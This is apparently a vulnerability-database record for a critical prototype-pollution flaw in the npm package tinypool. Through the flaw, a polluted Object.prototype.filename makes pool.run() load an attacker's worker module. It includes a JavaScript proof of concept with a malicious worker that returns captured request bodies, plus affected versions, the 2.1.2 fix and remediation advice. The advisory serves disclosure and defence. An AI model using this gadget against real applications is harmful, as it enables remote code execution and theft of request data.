{"schema":"threatline.record/2","record":{"id":"CVE-2026-104849","aliases":["GHSA-85c8-ppgw-ccpr"],"summary":"Tinypool: Prototype Pollution Gadget to RCE in run() options","details":"`tinypool` is a fork of `piscina` and inherited the same prototype-pollution surface. When `pool.run(task, options)` is called, the `filename` option is read from the provided `options` object. If that object does not have an own `filename` property, the lookup falls through to `Object.prototype`.\n\nAn attacker who can pollute `Object.prototype.filename` (for example, via a vulnerable `lodash.merge`, `qs.parse`, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.\n\nThis is the tinypool counterpart to the piscina root discovery [GHSA-x9g3-xrwr-cwfg](https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg).\n\n`pool.run(task)` with no second argument is not affected, because `kDefaultOptions.filename` is `null` and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to `pool.run()`.\n\n## Impact\n\nArbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the `run()` task and also supplies a `run()` options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.\n\n## Proof of Concept\n\n```js\n// legitimate-worker.mjs\nexport default async (task) => ({ by: 'legitimate-worker', processed: task })\n\n// malicious-worker.mjs\nexport default async (task) => ({ by: 'attacker', stolenRequestBody: task })\n\n// main.js\nimport express from \"express\";\nimport Tinypool from \"tinypool\";\nimport { fileURLToPath } from \"node:url\";\nimport path from \"node:path\";\n\nconst __dirname = path.dirname(fileURLToPath(import.meta.url));\n\n// Simulate upstream prototype pollution (lodash merge, qs parse, etc.)\nObject.prototype.filename = path.join(__dirname, \"malicious-worker.mjs\");\n\nconst pool = new Tinypool({\n  filename: path.join(__dirname, \"legitimate-worker.mjs\"),\n});\n\nexpress()\n  .use(express.json())\n  .post(\"/\", async (req, res) => {\n    const ac = new AbortController();\n    const result = await pool.run(req.body, { signal: ac.signal });\n    res.json(result);\n  })\n  .listen(31337);\n```\n\n## Suggested fix\n\nRead all user-supplied options from own properties only (`Object.hasOwn` or `Object.prototype.hasOwnProperty.call`) and build the internal `ThreadPool.options` object with a null prototype.","categories":["Libraries & packages"],"product":"tinypool","vendor":"tinylibs","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-85c8-ppgw-ccpr","source_modified_at":"2026-10-05T22:49:53Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"tinypool"},"range":"< 2.1.2"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-104849","source_modified_at":"2026-10-06T16:35:59.948Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"tinypool","vendor":"tinylibs","versions":[{"status":"affected","version":"< 2.1.2"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-85c8-ppgw-ccpr","source_modified_at":"2026-10-05T23:00:05.324545780Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"name":"tinypool","ecosystem":"npm","purl":"pkg:npm/tinypool"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.2"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-85c8-ppgw-ccpr","source_modified_at":"2026-10-05T22:49:53Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"tinypool"},"version":"2.1.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-85c8-ppgw-ccpr","source_modified_at":"2026-10-05T23:00:05.324545780Z","fetched_at":"2026-10-23T18:55:00.935475Z","package":{"name":"tinypool","ecosystem":"npm","purl":"pkg:npm/tinypool"},"version":"2.1.2"}],"cvss":9.5,"severity":"Critical","kev":{"listed":false},"epss":{"probability":0.0039,"percentile":0.31893,"score_date":"2026-10-23"},"published_at":"2026-10-02T16:17:28.062Z","modified_at":"2026-10-06T16:35:59.948Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-85c8-ppgw-ccpr","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:49:53Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-104849","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-06T16:35:59.948Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-85c8-ppgw-ccpr","fetched_at":"2026-10-23T18:55:00.935475Z","source_modified_at":"2026-10-05T23:00:05.324545780Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104849","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/security/advisories/GHSA-85c8-ppgw-ccpr","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104849","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/pull/135","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/commit/f41411a3e23324c674f35a19a3240f7a7c40ffbf","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/tinylibs/tinypool/releases/tag/v2.1.2","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-85c8-ppgw-ccpr","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"total","assessed_at":"2026-10-06T16:35:41.151003Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-06T16:35:59.948Z","content_hash":"0fd25d332f44edb4759ec3acf9e1f910956f1e5de5cd4c583397005e755c501c"}}
